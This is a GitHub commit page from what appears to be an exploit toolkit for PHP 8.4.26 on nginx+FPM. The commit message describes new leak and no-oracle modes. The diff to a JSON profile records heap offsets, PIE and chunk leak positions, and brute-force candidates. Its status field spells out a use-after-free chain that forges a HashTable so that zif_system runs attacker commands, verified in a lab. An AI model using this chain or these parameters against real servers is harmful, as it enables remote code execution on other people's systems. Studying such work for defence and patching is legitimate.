You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Commit b84de1f
Browse filesBrowse the repository at this point in the historyBrowse files
- add `leak` and `no-oracle` subcommands: leak the Zend-MM chunk and
php-fpm PIE bases from a stale short-session string OOB read, then
brute-force the two reclaim slots without reading /proc/<pid>/mem
- keep `--chunk`/`--pie` overrides and a /proc/<pid>/maps fallback; make
`endgame` fall back to the no-oracle geometry when the oracle probe
finds no cover
- record the verified leak geometry and no-oracle candidates in the FPM
profile, extend the profile schema, and document the builder arm page
- add leak/dechunk unit tests, a live no-oracle RCE test, and lab helper
pages (`bigvar.php`, `leakvar.php`, `refb.php`) plus lab-only app
diagnostics
- update README, the FPM chain guide, and the profile inventory; correct
the unit-test count and remote-FPM limitation wording
Verified on the 8.4.26 nginx+FPM lab: leak prints chunk=0x7f4f48800000
pie=0x55d75fc00000; no-oracle reaches uid=1000 without --chunk/--pie;
51 unit tests pass (3 jsonschema live tests skipped unless installed),
and primitive/endgame/no-oracle integration tests pass.
Copy file name to clipboardExpand all lines: profiles/8.4.26-fpm.json
+25-2Lines changed: 25 additions & 2 deletions
Original file line number
Diff line number
Diff line change
@@ -20,7 +20,30 @@
20
20
"struct_size": 8216,
21
21
"reclaim_pads": [4096, 4096, 4096],
22
22
"reclaim_size": 12288,
23
-
"oracle": "/proc/<pid>/mem (local lab)"
23
+
"oracle": "/proc/<pid>/mem (local lab)",
24
+
"no_oracle": {
25
+
"reclaim_pads": [4096, 4096, 4096],
26
+
"reclaim_size": 16384,
27
+
"candidates": [
28
+
{"d_off": "0x81000", "k": "0xfe8"},
29
+
{"d_off": "0x82000", "k": "0x1fe8"},
30
+
{"d_off": "0x81000", "k": "0x1fe8"},
31
+
{"d_off": "0x82000", "k": "0xfe8"}
32
+
],
33
+
"bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc/<pid>/maps"
34
+
},
35
+
"leak": {
36
+
"arm_path": "/bigvar.php",
37
+
"pads": [32768, 16384],
38
+
"size": 16384,
39
+
"header_content_off": "0x17e8",
40
+
"read_len": "0x15810",
41
+
"chunk_ptr_off": "0x77f8",
42
+
"chunk_base_off": "0x8b000",
43
+
"pie_ptr_off": "0x157e8",
44
+
"pie_base_off": "0x4ea787",
45
+
"bases": "leaked over HTTP from a stale short-session string OOB read"
46
+
}
24
47
},
25
48
"stages": {},
26
49
"config": {
@@ -29,6 +52,6 @@
29
52
"session_upload_progress": "On",
30
53
"workers": 2
31
54
},
32
-
"status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).",
55
+
"status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries. The no-oracle path leaks chunk/PIE over HTTP from a stale-session string OOB read (see docs/fpm-chain.md).",
0 commit comments